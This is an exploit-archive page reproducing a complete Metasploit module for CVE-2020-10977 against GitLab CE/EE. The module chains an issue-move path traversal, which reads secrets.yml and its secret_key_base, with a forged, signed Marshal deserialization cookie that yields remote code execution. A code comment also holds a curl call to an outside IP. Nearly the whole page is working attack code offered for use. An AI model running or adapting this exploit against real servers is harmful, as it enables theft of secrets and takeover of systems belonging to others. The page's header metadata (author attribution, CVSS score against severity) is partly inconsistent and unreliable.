Advertisement






GitLab File Read Remote Code Execution

CVE Category Price Severity
CVE-2020-10977 CWE-352 Not specified Critical
Author Risk Exploitation Type Date
Dawid Golunski High Remote 2020-12-10
CVSS EPSS EPSSP
CVSS:6.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.0310514 0.538509

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020120076

Below is a copy:

GitLab File Read Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  # From Rails
  class MessageVerifier

    class InvalidSignature < StandardError
    end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class NoopSerializer
    def dump(value)
      value
    end
  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size = 64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  class GitLabClientException < StandardError; end

  class GitLabClient
    def initialize(http_client)
      @http_client = http_client
      @cookie_jar = {}
    end

    def sign_in(username, password)
      sign_in_path = '/users/sign_in'
      csrf_token = extract_csrf_token(
        path: sign_in_path,
        regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
      )
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => '/users/sign_in',
        'cookie' => cookie,
        'vars_post' => {
          'utf8' => '',
          'authenticity_token' => csrf_token,
          'user[login]' => username,
          'user[password]' => password,
          'user[remember_me]' => 0
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.body.include?('Invalid Login or password')
        raise GitLabClientException, 'Username or password invalid'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      elsif res.headers.fetch('Location', '').include?(sign_in_path)
        raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'
      end

      merge_cookie_jar(res)

      current_user
    end

    def current_user
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => '/api/v4/user',
        'cookie' => cookie
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      JSON.parse(res.body)
    end

    def version
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => '/api/v4/version',
        'cookie' => cookie
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      JSON.parse(res.body)
    end

    def create_project(user:)
      new_project_path = '/projects/new'
      create_project_path = '/projects'

      csrf_token = extract_csrf_token(
        path: new_project_path,
        regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/
      )
      project_name = Rex::Text.rand_text_alphanumeric(8)
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => create_project_path,
        'cookie' => cookie,
        'vars_post' => {
          'utf8' => '',
          'authenticity_token' => csrf_token,
          'project[ci_cd_only]' => 'false',
          'project[name]' => project_name,
          'project[namespace_id]' => (user['id']).to_s,
          'project[path]' => project_name,
          'project[description]' => Rex::Text.rand_text_alphanumeric(8),
          'project[visibility_level]' => '0'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.body.include?('Namespace is not valid')
        raise GitLabClientException, 'This uer can not create additional projects, please delete some'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      merge_cookie_jar(res)

      project(user: user, project_name: project_name)
    end

    def project(user:, project_name:)
      project_path = "/#{user['username']}/#{project_name}"
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => project_path,
        'cookie' => cookie
      })
      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      project_id = res.body[/Project ID: (\d+)/, 1]
      {
        'id' => project_id,
        'name' => project_name,
        'path' => project_path,
        'edit_path' => "#{project_path}/edit",
        'delete_path' => "/#{user['username']}/#{project_name}"
      }
    end

    def delete_project(project:)
      edit_project_path = project['edit_path']
      delete_project_path = project['delete_path']

      csrf_token = extract_csrf_token(
        path: edit_project_path,
        regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/
      )
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => delete_project_path,
        'cookie' => cookie,
        'vars_post' => {
          'utf8' => '',
          'authenticity_token' => csrf_token,
          '_method' => 'delete'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      true
    end

    def create_issue(project:, issue:)
      new_issue_path = "#{project['path']}/issues/new"
      create_issue_path = "#{project['path']}/issues"

      csrf_token = extract_csrf_token(
        path: new_issue_path,
        regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/
      )
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => create_issue_path,
        'cookie' => cookie,
        'vars_post' => {
          'utf8' => '',
          'authenticity_token' => csrf_token,
          'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),
          'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),
          'issue[confidential]' => '0',
          'issue[assignee_ids][]' => '0',
          'issue[label_ids][]' => '',
          'issue[due_date]' => '',
          'issue[lock_version]' => '0'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      merge_cookie_jar(res)
      issue_id = res.body[%r{You are being <a href="http://.*#{create_issue_path}/(\d+)">redirected</a>}, 1]

      issue.merge({
        'path' => "#{create_issue_path}/#{issue_id}",
        'move_path' => "#{create_issue_path}/#{issue_id}/move"
      })
    end

    def move_issue(issue:, target_project:)
      issue_path = issue['path']
      move_issue_path = issue['move_path']

      csrf_token = extract_csrf_token(
        path: issue_path,
        regex: /name="csrf-token" content="([^"]+)"/
      )

      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => move_issue_path,
        'cookie' => cookie,
        'ctype' => 'application/json',
        'headers' => {
          'X-CSRF-Token' => csrf_token,
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'data' => {
          'move_to_project_id' => (target_project['id']).to_s
        }.to_json
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      json_res = JSON.parse(res.body)

      {
        'path' => json_res['web_url'],
        'description' => json_res['description']
      }
    end

    def download(project:, path:)
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => "#{project['path']}/#{path}",
        'cookie' => cookie
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      res.body
    end

    private

    attr_reader :http_client

    def extract_csrf_token(path:, regex:)
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => path,
        'cookie' => cookie
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      merge_cookie_jar(res)
      token = res.body[regex, 1]
      if token.nil?
        raise GitLabClientException, 'Could not successfully extract CSRF token'
      end

      token
    end

    def cookie
      return nil if @cookie_jar.empty?

      @cookie_jar.map { |(k, v)| "#{k}=#{v}" }.join(' ')
    end

    def merge_cookie_jar(res)
      new_cookies = Hash[res.get_cookies.split(' ').map { |x| x.split('=') }]
      @cookie_jar.merge!(new_cookies)
    end
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLab File Read Remote Code Execution',
        'Description' => %q{
          This module provides remote code execution against GitLab Community
          Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
          read to extract the Rails "secret_key_base", and gains remote code
          execution with a deserialization vulnerability of a signed
          'experimentation_subject_id' cookie that GitLab uses internally for A/B
          testing.

          Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
          and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
          versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
          cookie was introduced.

          Tested on GitLab 12.8.1 and 12.4.0.
        },
        'Author' =>
          [
            'William Bowling (vakzz)', # Discovery + PoC
            'alanfoster', # msf module
          ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            ['CVE', '2020-10977'],
            ['URL', 'https://hackerone.com/reports/827052'],
            ['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']
          ],
        'DisclosureDate' => '2020-03-26',
        'Platform' => 'ruby',
        'Arch' => ARCH_RUBY,
        'Privileged' => false,
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password for the specified username']),
        OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),
        OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),
        OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),
        OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])
      ]
    )
    register_advanced_options(
      [
        OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),
        OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])
      ]
    )
  end

  #
  # This stub ensures that the payload runs outside of the Rails process
  # Otherwise, the session can be killed on timeout
  #
  def detached_payload_stub(code)
    %^
    code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first
    if RUBY_PLATFORM =~ /mswin|mingw|win32/
      inp = IO.popen("ruby", "wb") rescue nil
      if inp
        inp.write(code)
        inp.close
      end
    else
      Kernel.fork do
        eval(code)
      end
    end
    {}
  ^.strip.split(/\n/).map(&:strip).join("\n")
  end

  def build_payload
    code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"

    # Originally created with Active Support 6.x
    #   code = '`curl 10.10.15.26`'
    #   erb = ERB.allocate; nil
    #   erb.instance_variable_set(:@src, code);
    #   erb.instance_variable_set(:@filename, "1")
    #   erb.instance_variable_set(:@lineno, 1)
    #   value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
    #   Marshal.dump(value)
    "\x04\b" \
      'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \
        "\t:\x0E@instance" \
          "o:\bERB" \
            "\b" \
              ":\t@src#{Marshal.dump(code)[2..-1]}" \
              ":\x0E@filename\"\x061" \
              ":\f@linenoi\x06" \
          ":\f@method:\vresult" \
          ":\t@var\"\f@result" \
        ":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"
  end

  def sign_payload(secret_key_base, payload)
    key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })
    key = key_generator.generate_key(datastore['SignedCookieSalt'])
    verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })
    verifier.generate(payload)
  end

  def check
    validate_credentials_present!

    git_lab_client = GitLabClient.new(self)
    git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
    version = Gem::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])

    # Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8
    # However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8
    has_rce_present = (
      version.between?(Gem::Version.new('12.4.0'), Gem::Version.new('12.7.7')) ||
        version.between?(Gem::Version.new('12.8.0'), Gem::Version.new('12.8.7')) ||
        version == Gem::Version.new('12.9.0')
    )
    if has_rce_present
      return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")
    end

    Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")
  rescue GitLabClientException => e
    Exploit::CheckCode::Unknown(e.message)
  end

  def validate_credentials_present!
    missing_options = []

    missing_options << 'USERNAME' if datastore['USERNAME'].blank?
    missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?

    if missing_options.any?
      raise Msf::OptionValidateError, missing_options
    end
  end

  def read_secret_key_base
    return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?

    validate_credentials_present!
    git_lab_client = GitLabClient.new(self)
    user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
    print_status("Logged in to user #{user['username']}")

    project_a = git_lab_client.create_project(user: user)
    print_status("Created project #{project_a['path']}")
    project_b = git_lab_client.create_project(user: user)
    print_status("Created project #{project_b['path']}")

    issue = git_lab_client.create_issue(
      project: project_a,
      issue: {
        'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"
      }
    )
    print_status("Created issue #{issue['path']}")

    print_status('Executing arbitrary file load')
    moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)
    secrets_file_url = moved_issue['description'][/\[secrets.yml\]\((.*)\)/, 1]
    secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)
    loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')
    print_good("File saved as: '#{loot_path}'")

    secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1]
    if secret_key_base.nil?
      fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')
    end

    print_good("Extracted secret_key_base #{secret_key_base}")
    print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')

    secret_key_base
  rescue GitLabClientException => e
    fail_with(Failure::UnexpectedReply, e.message)
  ensure
    [project_a, project_b].each do |project|
      begin
        next unless project

        print_status("Attempting to delete project #{project['path']}")
        git_lab_client.delete_project(project: project)
        print_status("Deleted project #{project['path']}")
      rescue StandardError
        print_error("Failed to delete project #{project['path']}")
      end
    end
  end

  def exploit
    secret_key_base = read_secret_key_base

    payload = build_payload
    signed_cookie = sign_payload(secret_key_base, payload)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'cookie' => "experimentation_subject_id=#{signed_cookie}"
    })
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum